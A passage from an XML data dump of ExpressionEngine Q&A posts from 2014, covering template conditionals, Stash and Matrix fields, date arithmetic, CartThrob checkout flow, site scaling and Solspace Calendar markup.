Friday&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's even more strange is that if I output the debug string with: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{inner:day format='%l'} == {current_time format='%l'}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sunday == Friday&#xA;Monday == Friday&#xA;Tuesday == Friday&#xA;Wednesday == Friday&#xA;Thursday == Friday&#xA;Friday == Friday&#xA;We are currently Open&#xA;Saturday == Friday&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So why would outputting the variable cause it to work? If I remove:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{inner:day format='%l'} == {current_time format='%l'}&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I don't get the expected result. I have bypassed this for now by leaving it in and commenting it out with HTML comment tags, but this is definitely NOT the solution.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2015-03-26T03:38:45.820" Title="ExpressionEngine Stash Troubles Using Logic Operators" Tags="|ee2|stash|nested-list|logic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26842" PostTypeId="1" CreationDate="2014-11-21T19:35:16.153" Score="3" ViewCount="154" Body="&lt;p&gt;I’m new to the expression engine project at our business. We are being acquired by a large company and they’re worried that expression engine cannot handle traffic for a exp_members table of 10M, and concurrent connections at about 10k.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that most people will naturally ask “It all depends on server resources, and how big is your database…”, and we can always have bigger boxes, I’m not really interested in theoretical limits, my question is a bit more practical than that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had experience with using EE for 5+ millions of users and approx 10k concurrent users, and what has been your experience been with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me understand your experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It’s a classic “Executive Decision makers (and what they think they understand from a sales slick”&#xA;versus Coders and EE fans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3809" LastActivityDate="2014-12-24T12:40:40.040" Title="Can EE handle Millions of Users?" Tags="|performance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26843" PostTypeId="2" ParentId="26842" CreationDate="2014-11-21T19:46:25.537" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.hopstudios.com/blog/the_largest_expressionengine_sites/#.VG-Vc1dgweM&quot; rel=&quot;nofollow&quot;&gt;There's an old post (from 2012) here&lt;/a&gt; which might go some way to answer the question. You'll note that there are some major sites there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, as you've acknowledged, the matter is one of resources and network infrastructure and not one of software. No system will cope with 10K concurrent connections unless the network is built in such a way as to allow it.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-12-24T12:40:40.040" LastActivityDate="2014-12-24T12:40:40.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26844" PostTypeId="1" CreationDate="2014-11-21T21:35:28.173" Score="1" ViewCount="52" Body="&lt;p&gt;I'm outputting some images using a Matrix field, but they are outputting on frontend in a random order.  I'm trying to output according to rows they are currently in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;code&gt;sort&lt;/code&gt; and &lt;code&gt;orderby&lt;/code&gt; Matrix field tags, but no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's sample code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:content}&#xA;    {homepage_sliders}&#xA;        &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/homepage_sliders}&#xA;{/stash:content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ended up being a js issue with the flexslider script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wasn't working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $(window).load(function() {&#xA;            $('.flexslider').flexslider({&#xA;                animation: &quot;slide&quot;&#xA;            });&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replaced with this and worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $('.flexslider').flexslider({&#xA;            animation: &quot;slide&quot;,&#xA;            start: function(slider){&#xA;              $('body').removeClass('loading');&#xA;            }&#xA;          });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2889" LastEditorUserId="2889" LastEditDate="2014-11-21T23:23:09.447" LastActivityDate="2014-11-21T23:23:09.447" Title="Matrix rows out of order when outputting" Tags="|matrix|templates|orderby|sort|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26845" PostTypeId="1" CreationDate="2014-11-21T21:53:01.497" Score="0" ViewCount="146" Body="&lt;p&gt;Is it possible to modify a date variable (entry_date in this case) so that you have entry_date plus one year (or any other amount of time)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if entry_date was 6/4/14 2:59 PM, could I add one year to that date and end up with 6/4/15 2:59 PM, and would I still be able to use that variable in a conditional statement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Essentially what I want is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if (entry_date + one_year) &amp;gt; current_time}&#xA;    &amp;lt;p&amp;gt;New Product&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SECOND EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Robson, I tried the code that you added (both the regular and inverted logic) and I'm unfortunately STILL ending up with the same error. However, I continued to play around with the code and found that this does not throw an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%Y%m%d%H%i&quot;} == {entry_date format=&quot;%Y%m%d%H%i&quot;}}&#xA;    less than an year&#xA;{if:else}&#xA;    more than an year&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does throw the same error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%Y%m%d%H%i&quot;} - {entry_date format=&quot;%Y%m%d%H%i&quot;} == 1}&#xA;    less than an year&#xA;{if:else}&#xA;    more than an year&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to change the comparative number to something more specific? Are we comparing two variables that we can't compare? Or am I just missing some bracket again? I feel like it's almost there...&lt;/p&gt;&#xA;" OwnerUserId="3760" LastEditorUserId="3760" LastEditDate="2014-11-24T23:15:28.827" LastActivityDate="2016-06-02T10:30:24.107" Title="How to Modify a Global Date Variable" Tags="|global-variables|date-format|entry-date|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26846" PostTypeId="2" ParentId="26605" CreationDate="2014-11-21T22:31:28.600" Score="0" Body="&lt;p&gt;That depends when the guest ticket gets added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option1 - adding as a separate item&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful if offering as an option on cart page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the standard add to cart tag - &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart_form/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/add_to_cart_form/index.html&lt;/a&gt; - you could use the &quot;on_the_fly&quot; parameter to add a product that has no specific entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option2 - adding on the event booking page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at using the Multi add to cart tag - &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/multi_add_to_cart_form/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/multi_add_to_cart_form/index.html&lt;/a&gt; - that allows the customer to pick which items they want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the guest ticket you could hard code the values or pull in a channel entry, or use an &quot;on_the_fly&quot; tag. You could also use a custom field in the event channel to show/not show the guest ticket option.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-11-21T22:31:28.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26847" PostTypeId="2" ParentId="26844" CreationDate="2014-11-21T22:38:59.097" Score="2" Body="&lt;p&gt;Strange that you're getting a random output since orderby=&quot;id&quot; is the default. Are you sure there isn't some kind of JavaScript that's reordering your fields on the front-end? You could try disabling JavaScript to verify that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you could try explicitly setting the id field as the orderby (which I've never had to do before).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{homepage_sliders orderby=&quot;id&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it definitely seems wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the fixed_order=&quot;&quot; parameter which let's you specify the order of the ids&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{homepage_sliders fixed_order=&quot;1|3|2|4&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="339" LastActivityDate="2014-11-21T22:38:59.097" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26848" PostTypeId="1" AcceptedAnswerId="26851" CreationDate="2014-11-21T22:41:45.187" Score="0" ViewCount="31" Body="&lt;p&gt;I am working on a Web App that a teacher assigns a passphrase to a channel entry and students can sign in by searching for the phrase (not super secure I know, but it works for my application). My current dilemma: how to force a field to be unique, I don't want other teachers using the same passphrase, that won't work. Can Expression Engine force uniqueness in a &quot;custom field&quot;. I know it does it for url-title. Is there a plugin maybe?&lt;/p&gt;&#xA;" OwnerUserId="2997" LastActivityDate="2014-11-21T23:36:30.440" Title="Field Uniqueness" Tags="|channel|custom-fields|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26849" PostTypeId="2" ParentId="26560" CreationDate="2014-11-21T22:42:51.433" Score="0" Body="&lt;p&gt;You can always have multiple {switch tags}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row {switch='first|second'}&quot;&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;{switch='left|right'&amp;gt;Something&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;{switch='right|left'&amp;gt;Something else&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you can work it out in your head something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row {switch='first|second'}&quot;&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;{switch='left1|right1|left2|right2'&amp;gt;Something&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;{switch='right1|left1|right2|left2'&amp;gt;Something else&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-11-21T22:42:51.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26850" PostTypeId="2" ParentId="26550" CreationDate="2014-11-21T22:52:40.600" Score="1" Body="&lt;p&gt;Lots of option here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use a 3 level category structure:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Region&lt;/p&gt;&#xA;&#xA;&lt;p&gt;__City&lt;/p&gt;&#xA;&#xA;&lt;p&gt;____Place &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select categories as required for each entry. You can then call all entries in each category, with each deeper level of category refining the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use 3 channels with relationships&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Regions channel (no relationships)&lt;/li&gt;&#xA;&lt;li&gt;Cities channel (relate city to Region entry)&lt;/li&gt;&#xA;&lt;li&gt;Places channel (relate place to City entry)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When you call Regions you can just show a list of regions, or you can output each region's Cities as parent related entries&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you call Cities you can just show a list of cities, or you can output each citie's places as parent related entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could just use categories for Regions, and the relationship method for deeper data.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-11-21T22:52:40.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26851" PostTypeId="2" ParentId="26848" CreationDate="2014-11-21T23:36:30.440" Score="0" Body="&lt;p&gt;You'll have to utilize an add-on: e.g. an extension that uses hooks to verify the value of the custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you could use the teacher's name or a prefix thereof to help make the passphrase unique; or an additional field that the user has to fill out. For instance, eCommerce sites often utilize an email address + zip code to look up an order. Or an order number and email address, etc. Essentially a two data-field way to gain access.&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2014-11-21T23:36:30.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26852" PostTypeId="2" ParentId="23917" CreationDate="2014-11-22T00:48:03.297" Score="1" Body="&lt;p&gt;You could use conditionals and the date format function to extract the month from the date and output a different season.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you would then need to define seasons by the start/end of months. It's down to how precise you wish to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{entry_date format='%n'}&quot; &amp;gt; 1 AND &quot;{entry_date format='%n'}&quot; &amp;lt; 5}&#xA;    It's Spring(ish) (matches feb, mar, apr)&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thinking about this further you could be extremely precise if you forgo the automation and simply note the dates of the season changes for the next few years. How long do you expect this incarnation of the site to be live? It strikes me that it would be easier to hardcode the dates than write code to calculate them.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-11-22T11:11:10.220" LastActivityDate="2014-11-22T11:11:10.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26854" PostTypeId="2" ParentId="16752" CreationDate="2014-11-22T16:40:19.487" Score="0" Body="&lt;p&gt;It seems a problem with cartthrob not parsing grid field data properly with paired tags.&#xA;For a workaround I just created a small plugin till this issue is really resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download At : &lt;a href=&quot;https://github.com/sajwal/cartthrob_gridimage_fix/edit/master/pi.cartthrob_gridimage_fix&quot; rel=&quot;nofollow&quot;&gt;cartthrob_gridimage_fix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This helps in not using too many embeds and also a workaround without modifying the cartthrob core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tip : SUBSTANTIALLY THIS PLUGIN CAN ALSO BE USED TO LOAD GRID IMAGES FOR A GIVEN ENTRY AT ANY PLACE WITHOUT USING CHANNEL ENTRIES TAGS THUS HELPING IN, AVAID UNWANTED CHANNEL FIELDS.&lt;/p&gt;&#xA;" OwnerUserId="3779" LastEditorUserId="3779" LastEditDate="2014-11-22T16:46:12.663" LastActivityDate="2014-11-22T16:46:12.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26856" PostTypeId="1" AcceptedAnswerId="27072" CreationDate="2014-11-22T21:15:03.593" Score="0" ViewCount="61" Body="&lt;p&gt;In certain cases customer check out with a {cart_total} &amp;lt;= 0,00. This happens eg. if a customers redeems a coupon code worth, lets say € 20,00 but in his cart there is only an item worth € 10,00 (shipping neclected for ease of understanding).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever this happens I'd like the customer to overjump the page where he would have to decide on which payment method to choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my basic flow: Cart &gt; Adress &gt; Payment method &gt; Confirmation with purchase Button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when a customer is on the Adress page and the cart_total &amp;lt;= 0,00 they should be redirected to the Confirmation page directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about this? I have tried using if conditionals in the {exp:cartthrob:save_customer_info_form} tag but it won't work (parsing issue I guess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:save_customer_info_form&#xA;     {if {cart_total} &amp;gt; 0,00}&#xA;          return=&quot;cart/payment&quot;&#xA;     {if:else}&#xA;          return=&quot;cart/confirmation&quot;&#xA;     {/if}&#xA;class=&quot;validate&quot; secure_action=&quot;yes&quot; secure_return=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas! Cheers&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditDate="2014-11-22T21:26:52.243" LastActivityDate="2014-12-15T19:14:40.320" Title="CartThrob checkout with cart_total = 0,00" Tags="|cartthrob|redirects|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26857" PostTypeId="2" ParentId="26845" CreationDate="2014-11-23T01:32:20.003" Score="0" Body="&lt;p&gt;I never tried something like this, but maybe it could work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't add a year to a date without an add-on., but there are &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#mathematic-operators&quot; rel=&quot;nofollow&quot;&gt;mathematical operators&lt;/a&gt; on the conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;Format the date&lt;/a&gt; like a number using all data required by the precision you need plus one year following the same format: YYYYMMDDHHMM.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {entry_date format=&quot;%Y%m%d%H%i&quot;} + 100000000 &amp;gt; {current_time format=&quot;%Y%m%d%H%i&quot;} }&#xA;    less than an year&#xA;{if:else}&#xA;    more than an year&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe it's better to invert the logic to make the code easier to understand:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%Y%m%d%H%i&quot;} - {entry_date format=&quot;%Y%m%d%H%i&quot;} &amp;lt; 100000000  }&#xA;    less than an year&#xA;{if:else}&#xA;    more than an year&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Using an add-on&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you can't update to EECMS 2.9 you can code your own add-on for this using strtotime() php function, like &lt;a href=&quot;http://gotolow.com/addons/low-nice-date&quot; rel=&quot;nofollow&quot;&gt;Low Nice Date&lt;/a&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date date=&quot;{entry_date format='%Y-%m-%d %H:%i + 1 Year'}&quot; format=&quot;%Y%m%d%H%i&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the code will become far more complex and harder to maintain.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-11-25T22:54:30.897" LastActivityDate="2014-11-25T22:54:30.897" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26858" PostTypeId="1" AcceptedAnswerId="26927" CreationDate="2014-11-23T08:53:20.827" Score="0" ViewCount="69" Body="&lt;p&gt;I'm working with SolSpace Calendar and I'm having trouble getting my styles to correctly display when paths are used in Calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The calendar page is here: &lt;a href=&quot;http://www.clubomgsf.com/calendar&quot; rel=&quot;nofollow&quot;&gt;http://www.clubomgsf.com/calendar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: in the month view of the calendar, the &quot;previous&quot; and &quot;next month&quot; links look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{path='calendar/month'}/{next_month format=&quot;%Y/%m&quot;}/&#xA;which ends up looking like this:&#xA;&lt;a href=&quot;http://clubomgsf.com/calendar/2014/10/&quot; rel=&quot;nofollow&quot;&gt;http://clubomgsf.com/calendar/2014/10/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like additional subdirectories are being called, but they don't exist. I know this is some sort of templating question, but I've looked around in the doumentation and can't seem to find an explanation of how this works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; How is Solspace Calendar using these &quot;subdirectories&quot; (e.g. calendar/2014/10/ ) to pass these variables through to the next page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt; Currently I am using a snippet to link to global CSS document. What is the best way to get this styling to pass through to pages being called by &quot;subdirectories&quot; as mentioned above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &#xA;My MONTH template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;static_information&quot;}&#xA;    &amp;lt;title&amp;gt;{website_name}&amp;lt;/title&amp;gt;&#xA;    {site-includes}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;background&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;masthead&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;static_information&quot;}&#xA;&#xA;    &amp;lt;a href=&quot;{site_url}mainsite&quot;&amp;gt;&amp;lt;img id=&quot;logo&quot; src=&quot;{logo}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;div id=&quot;contact-info&quot;&amp;gt;&#xA;        {phone_number}&amp;lt;br /&amp;gt;&#xA;        {address}&amp;lt;br /&amp;gt;&#xA;        {e_mail}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;sinker-left&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;content-wrapper&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;  &#xA;&#xA;&#xA;        {exp:channel:entries channel=&quot;static_information&quot;}&#xA;&amp;lt;a href=&quot;{site_url}mainsite&quot;&amp;gt;&amp;lt;div class=&quot;mobile-logo&quot;&amp;gt;&amp;lt;img src=&quot;{logo}&quot; /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;        &amp;lt;div class=&quot;calendar-wrapper&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;        &amp;lt;div id=&quot;fc_calendar&quot;&amp;gt;&#xA;            {exp:calendar:cal&#xA;            {if segment_3 == ''}&#xA;                date_range_start=&quot;year-month-01&quot;&#xA;                date_range_end=&quot;year-month-last&quot;&#xA;            {/if}&#xA;            {if segment_3 != &quot;&quot;}&#xA;                date_range_start=&quot;{segment_3}-{segment_4}-01&quot;&#xA;                date_range_end=&quot;{segment_3}-{segment_4}-last&quot;&#xA;            {/if}&#xA;            }&#xA;            {display_each_month}&#xA;&#xA;&#xA;            &amp;lt;thead&amp;gt;&#xA;            &amp;lt;div class=&quot;floatleft&quot;&amp;gt;&amp;lt;a href=&quot;{path='calendar/month'}/{prev_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;{prev_month format=&quot;%F&quot;}&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;cal-header&quot;&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;floatright&quot;&amp;gt;&amp;lt;a href=&quot;{path='calendar/month'}/{next_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;{next_month format=&quot;%F&quot;}&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;            &#xA;            &amp;lt;/thead&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;                &amp;lt;table id=&quot;fc_outer&quot;&amp;gt;&#xA;&#xA;                &amp;lt;tbody&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td colspan=&quot;7&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;                                &amp;lt;table id=&quot;fc_inner&quot;&amp;gt;&#xA;                                    &amp;lt;thead&amp;gt;&#xA;                                        &amp;lt;tr id=&quot;days_of_week&quot;&amp;gt;&#xA;                                            {display_each_day_of_week}&#xA;                                            &amp;lt;th class=&quot;day_of_week {day_of_week}&quot;&amp;gt;&#xA;                                                {day_of_week}&#xA;                                            &amp;lt;/th&amp;gt;&#xA;                                            {/display_each_day_of_week}&#xA;                                        &amp;lt;/tr&amp;gt;&#xA;                                    &amp;lt;/thead&amp;gt;&#xA;                                    &amp;lt;tbody&amp;gt;&#xA;                                        {display_each_week}&#xA;                                         &amp;lt;tr&amp;gt;&#xA;                                            {display_each_day}&#xA;                                            {if day_in_current_month}&#xA;                                                &amp;lt;td class=&quot;day_cell&quot;&amp;gt;&#xA;                                                    &amp;lt;div class=&quot;date&quot;&amp;gt;&#xA;                                                        &amp;lt;a class=&quot;num&quot;&#xA;                                                            href=&quot;{path='calendar/day'}/{date format=&quot;%Y/%m/%d&quot;}/&quot;&amp;gt;&#xA;                                                            &amp;lt;div class=&quot;fp-cal&quot;&amp;gt;{date format=&quot;%j&quot;}&amp;lt;/div&amp;gt;  &amp;lt;!-- Dates in current month --&amp;gt;&#xA;                                                        &amp;lt;/a&amp;gt;&#xA;                                                    &amp;lt;/div&amp;gt;&#xA;                                            {if:else}&#xA;                                                &amp;lt;td class=&quot;day_cell out_of_range&quot;&amp;gt;&#xA;                                                    &amp;lt;div class=&quot;date&quot;&amp;gt;&#xA;                                                    &amp;lt;span class=&quot;num&quot;&amp;gt;&#xA;                                                        &amp;lt;div class=&quot;fp-cal-nonmonth&quot;&amp;gt;{date format=&quot;%j&quot;}&amp;lt;/div&amp;gt;  &amp;lt;!-- Dates in non-current months --&amp;gt;&#xA;                                                    &amp;lt;/span&amp;gt;&#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                            {/if}&#xA;                                            {display_each_hour}&#xA;                                                {events}&#xA;                                                    &amp;lt;div&#xA;                                                      class=&quot;&#xA;                                                        event {if event_all_day}all_day{/if}&#xA;                                                        {if event_multi_day}multi_day{/if}&#xA;                                                        {if event_first_day}first_day{/if}&#xA;                                                        {if event_last_day}last_day{/if}&#xA;                                                        {if all_day_event_index_difference &amp;gt; 0}&#xA;                                                            index_difference_{all_day_event_index_difference}&#xA;                                                        {/if}&#xA;                                                      &quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;                                                        &amp;lt;div class=&quot;c-eventbutton&quot; style=&quot;background-image:url('{event_image}')&quot;&amp;gt;&#xA;                                                            &amp;lt;div class=&quot;c-infospacer&quot;&amp;gt;&#xA;                                                                &amp;lt;div class=&quot;c-eventinfo&quot;&amp;gt;&#xA;                                                                    {event_title}&amp;lt;br /&amp;gt;&#xA;                                                                    {event_start_date format=&quot;%g%a&quot;} • &#xA;                                                                    {if price}${price}{if:else}Free{/if}&#xA;                                                                &amp;lt;/div&amp;gt;&#xA;                                                            &amp;lt;/div&amp;gt;&#xA;                                                        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;                                                    &amp;lt;/div&amp;gt;&#xA;                                                    {/events}&#xA;                                                {/display_each_hour}&#xA;                                            